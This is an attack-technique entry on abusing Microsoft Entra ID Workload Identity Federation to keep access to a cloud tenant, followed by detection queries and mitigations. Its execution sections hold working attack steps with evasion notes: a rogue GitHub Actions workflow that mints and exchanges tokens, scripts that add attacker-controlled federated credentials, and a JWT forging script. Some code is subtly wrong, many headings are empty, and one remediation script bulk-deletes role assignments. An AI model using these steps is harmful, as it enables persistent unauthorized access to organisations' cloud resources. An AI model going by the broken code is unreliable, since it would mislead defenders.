MCADDF

[PERSIST-VALID-005]: Workload Identity Federation Abuse for Persistence

Metadata

Attribute Details
Technique ID PERSIST-VALID-005
MITRE ATT&CK v18.1 T1078.004 - Valid Accounts: Cloud Accounts
Tactic Persistence, Privilege Escalation
Platforms Entra ID (Microsoft Azure)
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions All Azure/Entra ID versions (cloud-native)
Patched In N/A (Requires mitigation configuration)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Workload Identity Federation (WIF) is a Microsoft Entra ID feature that allows external workloads (GitHub Actions, Azure DevOps, Kubernetes, on-premises systems) to authenticate and access Azure resources using short-lived OIDC (OpenID Connect) tokens, eliminating the need for long-lived secrets. However, attackers can abuse misconfigured WIF to establish persistent access by creating federated credentials with overly permissive trust policies, poisoning attribute mappings, or exploiting trust relationships between identity providers and service accounts.

Attack Surface: The attack surface includes:

Business Impact: An attacker who gains access to federated credential configuration can establish persistent, long-lived access to Azure resources without needing to rotate secrets or re-authenticate. This enables attackers to bypass conditional access policies, evade MFA enforcement, maintain access across credential rotations, and escalate privileges from external workloads to Azure resources. The attack can remain undetected because WIF is designed to minimize audit log noise compared to traditional authentication.

Technical Context: WIF token exchanges typically complete in 1-3 seconds and generate minimal audit events (only the final token acquisition is logged, not the OIDC validation). Detection difficulty is Medium – while the attack can be detected via anomalous federated credential creation or unusual attribute mappings, blue teams often miss WIF abuse because they focus on user and service principal activity rather than infrastructure-level identity configuration changes.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 5.2.2 (Azure AD) Ensure that only cloud applications are allowed to authenticate directly to Azure AD. Workload Identity Federation misconfiguration allows external identities to authenticate without proper validation.
DISA STIG V-222548 (Azure) Multi-factor authentication must be enforced. WIF with permissive attribute mappings bypasses MFA by design (tokens are pre-authenticated by external IdP).
CISA SCuBA Identity, Credential, and Access Management (ICAM) Strict attribute validation and least privilege must be enforced on all identity sources, including federated workloads.
NIST 800-53 AC-3 (Access Enforcement), IA-5 (Authentication) Implement role-based access control and validate all external identity claims before granting access.
GDPR Art. 32 (Security of Processing) Organizations must ensure identity controls and audit trails for all system access, including federated identity exchanges.
DORA Art. 9 (ICT Incident Reporting) Critical identity misconfigurations must be logged and monitored as part of ICT security incident detection.
NIS2 Art. 21 (Cybersecurity Risk Management Measures) Identity management systems must include continuous monitoring and validation of all authentication pathways, including workload identities.
ISO 27001 A.9.2.3 (Management of Privileged Access Rights) Workload identity credentials must be managed with the same rigor as user credentials, with role-based access control and audit trails.
ISO 27005 Risk Assessment - “Compromise of Workload Identity Credentials” Federated credential misconfigurations represent a high-likelihood, high-impact risk scenario.

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Step 1: Enumerate Existing Federated Credentials

Objective: Identify which managed identities or app registrations already have federated credentials configured.

Command (PowerShell via Microsoft Graph):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "ManagedIdentity.Read.All"

# List all user-assigned managed identities with federated credentials
$identities = Get-MgIdentityUserAssignedIdentity

foreach ($identity in $identities) {
    $fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $identity.Id
    if ($fedCreds) {
        Write-Host "Managed Identity: $($identity.Name)"
        Write-Host "  Federated Credentials: $($fedCreds.Count)"
        foreach ($cred in $fedCreds) {
            Write-Host "  - Issuer: $($cred.Issuer)"
            Write-Host "    Subject: $($cred.Subject)"
            Write-Host "    Audiences: $($cred.Audiences -join ', ')"
        }
    }
}

What to Look For:

Version Note: Behavior is consistent across all Entra ID versions. Attribute access depends on Microsoft Graph v1.0 API availability.

Step 2: Inspect Attribute Mappings for Overpermissiveness

Objective: Identify if attribute mappings lack proper claim validation.

Command (Azure CLI):

# List app registrations and their federated credentials
az ad app list --query "[].{appId:appId, displayName:displayName}" -o json | jq '.[]'

# For a specific app, list its federated credentials
APP_ID="<application-id>"
az ad app federated-identity-credential list --id $APP_ID --query "[].{issuer:issuer, subject:subject, audiences:audiences}" -o json

What to Look For:

Command (PowerShell - Graph API):

# Enumerate app registrations and their federated credentials
$apps = Get-MgApplication -All

foreach ($app in $apps) {
    try {
        $fedCreds = Get-MgApplicationFederatedIdentityCredential -ApplicationId $app.Id -ErrorAction SilentlyContinue
        if ($fedCreds) {
            Write-Host "App: $($app.DisplayName) ($($app.AppId))"
            foreach ($cred in $fedCreds) {
                Write-Host "  Issuer: $($cred.Issuer)"
                Write-Host "  Subject: $($cred.Subject)"
                Write-Host "  Audiences: $($cred.Audiences -join ', ')"
            }
        }
    } catch { }
}

Step 3: Verify External Identity Provider Trust Relationships

Objective: Confirm which external identity providers are trusted by the organization.

Command (PowerShell - AADInternals):

Import-Module AADInternals

# Get federated domain information
Get-AADIntFederatedDomain | Select-Object DomainName, IssuerUri, FederationBrandingDisplayName

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Abusing Existing Federated Credential Configuration (GitHub Actions)

Supported Versions: All Entra ID versions

Prerequisite: Attacker has compromised or controls a GitHub Actions repository, OR has write access to an existing GitHub organization whose OIDC issuer is already trusted.

Step 1: Enumerate Trusted GitHub Federated Credentials

Objective: Identify managed identities or app registrations that trust GitHub Actions OIDC issuer.

Command:

# Find all managed identities trusting GitHub Actions
$identities = Get-MgIdentityUserAssignedIdentity -All

foreach ($identity in $identities) {
    $fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $identity.Id
    
    foreach ($cred in $fedCreds) {
        if ($cred.Issuer -eq "https://token.actions.githubusercontent.com") {
            Write-Host "Found GitHub-trusted identity: $($identity.Name)"
            Write-Host "  Subject: $($cred.Subject)"
            Write-Host "  Audience: $($cred.Audiences -join ', ')"
            
            # Check what roles this identity has
            $roles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $identity.Id
            Write-Host "  Assigned Roles: $($roles | Select-Object -ExpandProperty AppRoleId | Join-String -Separator ', ')"
        }
    }
}

What This Means:

Step 2: Create Rogue GitHub Workflow to Mint OIDC Tokens

Objective: Use a compromised or attacker-controlled GitHub Actions workflow to request and use an OIDC token for Azure access.

Malicious GitHub Actions Workflow (.github/workflows/malicious.yml):

name: Malicious Azure Access
on: [push]

jobs:
  authenticate:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
    
    steps:
      - name: Authenticate to Azure using WIF
        run: |
          # Request an OIDC token from GitHub
          OIDC_TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
            "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r '.token')
          
          # Exchange OIDC token for Azure access token
          ACCESS_TOKEN=$(curl -s -X POST \
            "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
            -d "grant_type=client_credentials" \
            -d "client_id=<MANAGED_IDENTITY_CLIENT_ID>" \
            -d "assertion=$OIDC_TOKEN" \
            -d "requested_token_use=on_behalf_of" \
            -H "Content-Type: application/x-www-form-urlencoded" | jq -r '.access_token')
          
          # Use the access token to perform privileged operations
          curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
            "https://graph.microsoft.com/v1.0/me" | jq '.'

Expected Output:

OpSec & Evasion:

Troubleshooting:

Step 3: Establish Persistence via Additional Federated Credentials

Objective: Once token access is achieved, create additional federated credentials that don’t depend on the original GitHub Actions workflow.

Command (PowerShell):

# This assumes the attacker has obtained an access token with admin rights

$managedIdentityId = "<target-identity-id>"
$newFederatedCred = @{
    name = "AttackerEscapeRoute"
    issuer = "https://token.actions.githubusercontent.com"
    subject = "repo:attacker-controlled-org/attacker-repo:ref:refs/heads/main"
    audiences = @("api://AzureADTokenExchange")
}

# Create the new federated credential
New-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
    -UserAssignedIdentityId $managedIdentityId `
    -BodyParameter $newFederatedCred

What This Means:


METHOD 2: Poisoning Attribute Mappings on Service Principals

Supported Versions: All Entra ID versions

Prerequisite: Attacker has compromised a service principal with Application.ReadWrite.All permission.

Step 1: Identify High-Privilege Service Principals

Objective: Find service principals with overly permissive roles.

Command (PowerShell):

# Get all service principals and their role assignments
$spList = Get-MgServicePrincipal -All -PageSize 999

foreach ($sp in $spList) {
    $roles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id
    
    foreach ($role in $roles) {
        # Check for high-privilege roles
        if ($role.AppRoleId -match "(9e3f62cf-ca93-4989-b6ce-5f6e88c70d57|9adb8b1e-78ff-4034-96ad-6e42fd69ae4d|62e90394-69f5-4237-9190-012177145e10)") {
            Write-Host "High-privilege service principal: $($sp.DisplayName)"
            Write-Host "  Object ID: $($sp.Id)"
            Write-Host "  Role: $($role.AppRoleId)"
        }
    }
}

What to Look For:

Step 2: Modify Federated Credential Attribute Mappings

Objective: Alter the attribute mapping to accept tokens from external identity providers the attacker controls.

Command (PowerShell):

$spId = "<service-principal-id>"

# Create a new federated credential with overly permissive attribute mapping
$federatedCred = @{
    name = "PermissiveFederation"
    issuer = "https://attacker-oidc-server.com"  # Attacker-controlled OIDC issuer
    subject = "*"  # Accept ANY subject claim (critical vulnerability!)
    audiences = @("https://management.azure.com")
}

# Add the federated credential to the app registration
New-MgApplicationFederatedIdentityCredential `
    -ApplicationId (Get-MgServicePrincipal -Filter "id eq '$spId'").AppId `
    -BodyParameter $federatedCred

What This Means:

Step 3: Mint Custom OIDC Tokens from Attacker’s IdP

Objective: Create tokens that match the poisoned attribute mapping.

Command (Bash - using attacker’s OIDC server):

# Generate a private key (if not already available)
openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048

# Create a JWT token with arbitrary claims
cat > create_token.py << 'EOF'
import jwt
import json
from datetime import datetime, timedelta
import sys

private_key = open('private_key.pem', 'r').read()

payload = {
    "iss": "https://attacker-oidc-server.com",
    "sub": "attacker@malicious.com",
    "aud": "https://management.azure.com",
    "exp": datetime.utcnow() + timedelta(hours=1),
    "iat": datetime.utcnow(),
    "nbf": datetime.utcnow(),
}

token = jwt.encode(payload, private_key, algorithm="RS256")
print(token)
EOF

python3 create_token.py

Expected Output:

Step 4: Exchange Token for Azure Access Token

Objective: Use the forged token to obtain an Azure access token.

Command (Bash):

OIDC_TOKEN="<forged-jwt-from-step-3>"
CLIENT_ID="<service-principal-client-id>"
TENANT_ID="<azure-tenant-id>"

curl -X POST \
  "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
  -d "grant_type=client_credentials" \
  -d "client_id=$CLIENT_ID" \
  -d "assertion=$OIDC_TOKEN" \
  -d "requested_token_use=on_behalf_of" \
  -H "Content-Type: application/x-www-form-urlencoded"

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
  "token_type": "Bearer",
  "expires_in": 3600
}

OpSec & Evasion:

Troubleshooting:


METHOD 3: Exploiting Overly Permissive Trust Relationships Between Federated IdPs

Supported Versions: All Entra ID versions

Prerequisite: Organization has Azure DevOps, GitHub, or Kubernetes integrated with Entra ID without proper subject claim validation.

Step 1: Enumerate All Existing Federated OIDC Issuers

Command (PowerShell):

# Get all managed identities with federated credentials
$managedIds = Get-MgIdentityUserAssignedIdentity -All

$allIssuers = @()
foreach ($id in $managedIds) {
    $fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
    foreach ($cred in $fedCreds) {
        $allIssuers += [PSCustomObject]@{
            ManagedIdentity = $id.Name
            Issuer = $cred.Issuer
            Subject = $cred.Subject
            Audiences = $cred.Audiences -join ','
        }
    }
}

$allIssuers | Group-Object Issuer | Select-Object Name, Count, @{N="Details"; E={$_.Group}}

What to Look For:

Step 2: Escalate from Compromised External Identity to High-Privilege Azure Service

Scenario: Attacker compromises a GitHub Actions workflow with access to a low-privilege managed identity. The organization also has a higher-privilege managed identity trusting the same GitHub OIDC issuer.

Attacker’s Plan:

  1. Use the compromised low-privilege GitHub workflow to enumerate other federated credentials.
  2. Identify the high-privilege managed identity trusting the same GitHub issuer.
  3. Modify the subject claim validation in the high-privilege credential to accept the attacker’s repository.

Command (PowerShell):

$lowPrivManagedIdId = "<compromised-low-privilege-id>"
$highPrivManagedIdId = "<target-high-privilege-id>"

# Get the federated credential from the low-privilege identity
$lowPrivCred = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $lowPrivManagedIdId

# Check if the issuer is GitHub
if ($lowPrivCred.Issuer -eq "https://token.actions.githubusercontent.com") {
    # Get high-privilege identity's credentials
    $highPrivCred = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $highPrivManagedIdId
    
    # If both trust GitHub, try to create a second credential on high-privilege identity
    # This would require `Microsoft.ManagedIdentity/*/federatedIdentityCredentials/write` permission
    
    $newCred = @{
        name = "EscalatedAccess"
        issuer = "https://token.actions.githubusercontent.com"
        subject = "repo:attacker-org/attacker-repo:ref:refs/heads/main"
        audiences = @("api://AzureADTokenExchange")
    }
    
    New-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
        -UserAssignedIdentityId $highPrivManagedIdId `
        -BodyParameter $newCred
}

OpSec & Evasion:


5. ATTACK SIMULATION & VERIFICATION

Manual Test: Federated Credential Token Exchange

Test Environment: Entra ID tenant with at least one user-assigned managed identity and a GitHub repository.

Step 1: Create a Managed Identity and Federated Credential (Legitimate Configuration)

$resourceGroup = "rg-test"
$managedIdentityName = "mi-wif-test"

# Create managed identity
$mi = New-AzUserAssignedIdentity -ResourceGroupName $resourceGroup -Name $managedIdentityName

# Create federated credential for GitHub
$federatedCredParams = @{
    ResourceGroupName = $resourceGroup
    ManagedIdentityName = $managedIdentityName
    Name = "github-repo"
    Issuer = "https://token.actions.githubusercontent.com"
    Subject = "repo:my-org/my-repo:ref:refs/heads/main"
    Audiences = @("api://AzureADTokenExchange")
}

New-AzFederatedIdentityCredential @federatedCredParams

Step 2: Create a GitHub Actions Workflow That Uses the Federated Credential

name: Test WIF
on: [push]

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
    env:
      AZURE_SUBSCRIPTION_ID: $
      AZURE_TENANT_ID: $
      AZURE_CLIENT_ID: $
    
    steps:
      - name: Azure Login
        uses: azure/login@v2
        with:
          client-id: $
          tenant-id: $
          subscription-id: $
      
      - name: List Resources
        run: az resource list

Expected Behavior: The workflow successfully authenticates to Azure without using secrets.

Step 3: Simulate Attacker Abuse

Create a second workflow that attempts to reuse the OIDC token for unauthorized access:

name: Malicious WIF Usage
on: [push]

jobs:
  abuse:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
    
    steps:
      - name: Get OIDC Token
        id: token
        run: |
          OIDC_TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
            "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r '.token')
          echo "::set-output name=token::$OIDC_TOKEN"
          echo "Token acquired (masked): $(echo $OIDC_TOKEN | cut -c1-20)..."

6. TOOLS & COMMANDS REFERENCE

Microsoft Graph PowerShell SDK

Version: 2.0+ Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux (PowerShell 5.1+)

Installation:

Install-Module Microsoft.Graph -Scope CurrentUser

Usage:

# Connect with scopes
Connect-MgGraph -Scopes "ManagedIdentity.ReadWrite.All", "Application.ReadWrite.All"

# List federated credentials
$identity = Get-MgIdentityUserAssignedIdentity -UserAssignedIdentityId "<id>"
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $identity.Id

Azure CLI

Version: 2.50.0+ Supported Platforms: Windows, macOS, Linux

Installation:

# macOS
brew install azure-cli

# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Windows
# Download MSI from https://aka.ms/azurecloudshell

Usage:

az login
az identity create --name my-identity --resource-group my-rg
az identity federated-identity-credential create \
  --name github-fed \
  --identity-name my-identity \
  --resource-group my-rg \
  --issuer https://token.actions.githubusercontent.com \
  --subject repo:my-org/my-repo:ref:refs/heads/main \
  --audiences api://AzureADTokenExchange

AADInternals

Version: 0.9.x Supported Platforms: Windows PowerShell 5.1+, PowerShell Core 7+

Installation:

# Download from https://o365blog.com/aadinternals/
# Or install via PS Gallery:
Install-Module -Name AADInternals -Force

Usage:

Import-Module AADInternals

# Enumerate federated domains
Get-AADIntFederatedDomain

# Get federation configuration
Get-AADIntFederationMetadata -Domain "contoso.com"

7. MICROSOFT SENTINEL DETECTION

Query 1: Federated Credential Creation on High-Privilege Service Principals

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Create federated identity credential" 
   or OperationName == "Update federated identity credential"
| extend TargetResource = TargetResources[0]
| extend ManagedIdentityName = TargetResource.displayName
| extend ModifiedPropsJson = parse_json(TargetResource.modifiedProperties)
| where ModifiedPropsJson[0].newValue contains "PermissiveFederation" 
   or ModifiedPropsJson[0].newValue contains "*" // subject = "*"
   or ModifiedPropsJson[0].newValue contains "repo:" and ModifiedPropsJson[0].newValue !contains "organization"
| project 
    TimeGenerated,
    OperationName,
    ManagedIdentityName,
    Issuer = ModifiedPropsJson[0].newValue,
    TargetResourceType = TargetResource.type,
    InitiatedBy = InitiatedBy.user.userPrincipalName,
    IPAddress = InitiatedBy.ipAddress
| sort by TimeGenerated desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: High-Risk Federated Credential Creation
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + createCreate

Query 2: Federated Credential Token Exchange from Untrusted OIDC Issuer

Rule Configuration:

KQL Query:

AADNonInteractiveUserSignInLogs
| where TokenIssuerType == "SAML" or TokenIssuerType == "JWT"
| where UserAgent contains "github" or UserAgent contains "azure-pipelines" or AppDisplayName contains "Workload"
| where ResultType == 0  // Successful sign-in
| extend IssuedTokenProperties = parse_json(parse_json(AdditionalDetails).tokenProperties) IssuedByTokenIssuer = IssuedTokenProperties.issuer
| where IssuedByTokenIssuer !in ("https://token.actions.githubusercontent.com", "https://vstoken.dev.azure.com", "https://oidc.gke.io", "https://oidc.eks.amazonaws.com")
| summarize SignInCount = count() by 
    AppDisplayName, 
    IssuedByTokenIssuer, 
    UserPrincipalName, 
    IPAddress,
    TimeGenerated = bin(TimeGenerated, 5m)
| where SignInCount > 3  // Alert on more than 3 sign-ins from same issuer in 5 min
| sort by SignInCount desc

What This Detects:


8. WINDOWS EVENT LOG MONITORING

Not applicable for Entra ID/cloud-native workload identity federation. All activity is logged in Azure Audit Logs and Microsoft Sentinel, not Windows Event Logs.


9. SYSMON DETECTION PATTERNS

Not applicable for Entra ID/cloud-native workload identity federation. Sysmon is designed for Windows endpoint detection and does not monitor cloud identity infrastructure.


10. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Federated Identity Credential Creation

Alert Name: Suspicious federated credential associated with a user-assigned managed identity


11. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Operation: Create federated identity credential

# Search for federated credential creation events
Search-UnifiedAuditLog `
  -StartDate (Get-Date).AddDays(-30) `
  -EndDate (Get-Date) `
  -RecordType AzureActiveDirectory `
  -Operations "Create federated identity credential", "Update federated identity credential" `
  -FreeText "subject" | Export-Csv -Path "C:\Audit\FederatedCredentials.csv" -NoTypeInformation

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left sidebar)
  3. If not enabled, click Start recording user and admin activity
  4. Allow 24-48 hours for historical logs to populate

Manual Configuration Steps (Search Audit Logs):

  1. Go to AuditSearch
  2. Set Date range: Last 30 days
  3. Under Activities, enter: Create federated identity credential
  4. Under Users, leave blank (to search all)
  5. Click Search
  6. Export results: ExportDownload all results

12. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Action 1: Implement Strict Subject Claim Validation on All Federated Credentials

Objective: Ensure each federated credential restricts the subject claim to a specific, minimal scope.

Applies To Versions: All Entra ID versions

Manual Steps (Azure Portal):

  1. Go to Azure PortalManaged Identities OR App registrations
  2. Select the managed identity or app registration
  3. Go to Federated credentials
  4. For each credential, click Edit
  5. Verify the Subject identifier field:
    • Good: repo:specific-org/specific-repo:ref:refs/heads/main
    • Bad: repo:specific-org/specific-repo:* (allows all branches)
    • Bad: repo:specific-org/*:* (allows all repos in org)
    • Bad: * (allows any subject)
  6. If too permissive, click Delete and recreate with proper scoping

Manual Steps (PowerShell):

# Validate all federated credentials have proper subject scoping
$identities = Get-MgIdentityUserAssignedIdentity -All

foreach ($id in $identities) {
    $fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
    
    foreach ($cred in $fedCreds) {
        if ($cred.Subject -eq "*" -or $cred.Subject -like "*/*:*") {
            Write-Host "⚠️  INSECURE: $($id.Name) has overly permissive subject: $($cred.Subject)"
            Write-Host "   Recommended remediation: Delete and recreate with specific subject"
        }
    }
}

Action 2: Restrict RBAC Permissions for Federated Credential Management

Objective: Limit who can create or modify federated credentials to a minimal set of administrators.

Applies To Versions: All Entra ID versions

Manual Steps (Azure RBAC):

  1. Go to Azure PortalSubscriptions → Select subscription
  2. Go to Access control (IAM)Role assignments
  3. Search for role: Owner and Contributor
  4. For each role assignment:
    • Identify who has the role
    • If the person is not an active identity administrator, click Remove
  5. Instead, create a custom role with limited federated credential permissions:
{
  "name": "Federated Identity Credential Administrator",
  "isCustom": true,
  "description": "Allows creation and management of federated credentials only",
  "assignableScopes": ["/subscriptions/{subscription-id}"],
  "permissions": [
    {
      "actions": [
        "Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write",
        "Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/delete",
        "Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/read"
      ],
      "notActions": [],
      "dataActions": [],
      "notDataActions": []
    }
  ]
}
  1. Assign this role only to designated identity administrators

Manual Steps (PowerShell):

# Create the custom role
$role = New-AzRoleDefinition -InputFile ".\federated-admin-role.json"

# Assign to specific user/group
New-AzRoleAssignment `
  -ObjectId "<admin-object-id>" `
  -RoleDefinitionName "Federated Identity Credential Administrator" `
  -Scope "/subscriptions/<subscription-id>"

# Remove dangerous broad role assignments
$dangerousRoles = Get-AzRoleAssignment -Scope "/subscriptions/<subscription-id>" -RoleDefinitionName "Owner", "Contributor"
foreach ($assignment in $dangerousRoles) {
    if ($assignment.DisplayName -notmatch "ServiceAccount|IdentityAdmin") {
        Remove-AzRoleAssignment -ObjectId $assignment.ObjectId -RoleDefinitionName $assignment.RoleDefinitionName -Scope $assignment.Scope
    }
}

Action 3: Enforce Azure AD Conditional Access for Federated Workload Access

Objective: Require additional authentication context for token exchanges from external identity providers.

Applies To Versions: All Entra ID versions

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Workload Identity Federation Access Control
  4. Assignments:
    • Users: Select All users
    • Cloud apps or actions: Select Workload Identity Federation (if available) OR create custom condition
  5. Conditions:
    • Client apps: Select Workload Identity Federation (if available)
    • OR manually inspect the user agent or token issuer
  6. Access controls:
    • Grant:
      • ✅ Require device to be marked as compliant (for DevOps agents)
      • ✅ Require approved client app (for GitHub Actions runners)
  7. Enable policy: ON
  8. Click Create

Manual Steps (PowerShell):

# Create a conditional access policy for workload identities
$policy = @{
    displayName = "Require MFA for Federated Workloads"
    state = "enabled"
    conditions = @{
        applications = @{
            includeApplications = @("all")
        }
        users = @{
            includeUsers = @("all")
        }
        signInRiskLevels = @("high")
        clientAppTypes = @("workloadIdentityFederation")
    }
    grantControls = @{
        operator = "OR"
        builtInControls = @("mfa", "compliantDevice")
    }
}

New-MgIdentityConditionalAccessPolicy -BodyParameter $policy

Priority 2: HIGH

Action 4: Implement OIDC Issuer Allow-listing

Objective: Restrict which external OIDC issuers can mint tokens for your organization.

Manual Steps (Entra ID):

  1. Go to Azure PortalEntra IDWorkload IDWorkload identity federation
  2. For each managed identity or app registration, review the issuer URL
  3. Maintain a list of approved OIDC issuers:
    • https://token.actions.githubusercontent.com (GitHub Actions)
    • https://vstoken.dev.azure.com (Azure DevOps)
    • https://<your-kubernetes-oidc-issuer> (Kubernetes OIDC issuer)
  4. Audit and delete any credentials with issuers not on the approved list

Action 5: Enable Audit Logging for Federated Credential Changes

Objective: Ensure all federated credential modifications are logged and alerted on.

Manual Steps (Entra ID + Sentinel):

  1. Go to Microsoft SentinelData connectors
  2. Ensure Azure Activity and Azure Audit connectors are enabled
  3. Create alert rules (as described in Section 7) to trigger on federated credential creation/modification

Action 6: Regularly Audit and Rotate Federated Credentials

Objective: Implement a periodic review process to identify stale or unauthorized federated credentials.

Manual Steps (PowerShell - Run Quarterly):

$auditReport = @()

$identities = Get-MgIdentityUserAssignedIdentity -All
foreach ($id in $identities) {
    $fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
    
    foreach ($cred in $fedCreds) {
        $auditReport += [PSCustomObject]@{
            ManagedIdentity = $id.Name
            FederatedCredentialName = $cred.Name
            Issuer = $cred.Issuer
            Subject = $cred.Subject
            Audiences = $cred.Audiences -join '; '
            CreatedDate = $cred.CreatedDateTime
            ReviewStatus = "NEEDS_REVIEW"  # Manually update to "APPROVED" or "DELETE"
        }
    }
}

# Export for audit
$auditReport | Export-Csv -Path "C:\Audits\Federated_Credentials_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation

# For credentials marked "DELETE", remove them:
$toDelete = $auditReport | Where-Object { $_.ReviewStatus -eq "DELETE" }
foreach ($item in $toDelete) {
    Remove-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
        -UserAssignedIdentityId $item.ManagedIdentityId `
        -FederatedIdentityCredentialId $item.Id
}

13. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Entra ID Audit Events:

Microsoft Sentinel Logs:

Timeline IOCs:


Forensic Artifacts

Azure Audit Logs Location:

What to Examine:

Cloud Storage Artifacts:


Response Procedures

1. Isolate & Revoke

Immediate Action (within 5 minutes):

# Disable the compromised service principal
$spId = "<service-principal-id>"
Update-MgServicePrincipal -ServicePrincipalId $spId -AccountEnabled $false

# OR revoke all active token sessions
Revoke-MgServicePrincipalToken -ServicePrincipalId $spId

# Delete malicious federated credentials
$fedCreds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
foreach ($cred in $fedCreds | Where-Object { $_.Name -eq "PermissiveFederation" }) {
    Remove-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
        -UserAssignedIdentityId $id.Id `
        -FederatedIdentityCredentialId $cred.Id
}

2. Collect Evidence

# Export audit logs for the affected identity
$auditLogs = Get-MgAuditLog -All -Filter "targetResources/any(t:t/id eq '$spId')" 

$auditLogs | ConvertTo-Json | Out-File "C:\Incident\AuditLogs_$(Get-Date -Format 'yyyyMMdd_HHmmss').json"

# Collect token access patterns
Search-UnifiedAuditLog `
  -StartDate (Get-Date).AddDays(-7) `
  -Operations "AppTokenObtained" `
  -FreeText $spId | Export-Csv -Path "C:\Incident\TokenAccess.csv"

3. Remediate

# Identify all federated credentials across the organization
$allFedCreds = @()
$ids = Get-MgIdentityUserAssignedIdentity -All
foreach ($id in $ids) {
    $creds = Get-MgIdentityUserAssignedIdentityFederatedIdentityCredential -UserAssignedIdentityId $id.Id
    $allFedCreds += $creds | Select-Object -Property @{N='ManagedIdentityId'; E={$id.Id}}, *
}

# Review and re-create federated credentials with strict scoping
foreach ($cred in $allFedCreds) {
    # Validate subject is properly scoped
    if ($cred.Subject -eq "*" -or $cred.Subject -like "*/*") {
        Write-Host "Deleting insecure credential: $($cred.Name) on $($cred.ManagedIdentityId)"
        Remove-MgIdentityUserAssignedIdentityFederatedIdentityCredential `
            -UserAssignedIdentityId $cred.ManagedIdentityId `
            -FederatedIdentityCredentialId $cred.Id
        
        # Admin should manually recreate with proper scoping
    }
}

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-001] BloodHound for Azure/Entra privilege paths Attacker maps service principal relationships and identifies high-privilege identities.
2 Initial Access [IA-VALID-002] Stale/inactive account compromise Attacker gains initial access to a service principal or GitHub Actions workflow with lower privileges.
3 Privilege Escalation [PE-VALID-011] Managed Identity MSI Escalation Attacker abuses managed identity token access to escalate to higher-privilege resources.
4 Current Step [PERSIST-VALID-005] Attacker creates/modifies federated credentials to establish persistent access without long-lived secrets.
5 Collection [CO-M365-001] Microsoft Graph API enumeration Attacker uses the persistent federated credentials to enumerate users, groups, and sensitive data.
6 Exfiltration [EX-M365-001] OneDrive/SharePoint bulk export Attacker exfiltrates sensitive documents and email using the persistent access token.

15. REAL-WORLD EXAMPLES

Example 1: GitHub Actions Supply Chain Attack (Hypothetical)

Example 2: Azure DevOps Organizational Boundary Crossing


16. REFERENCES & AUTHORITATIVE SOURCES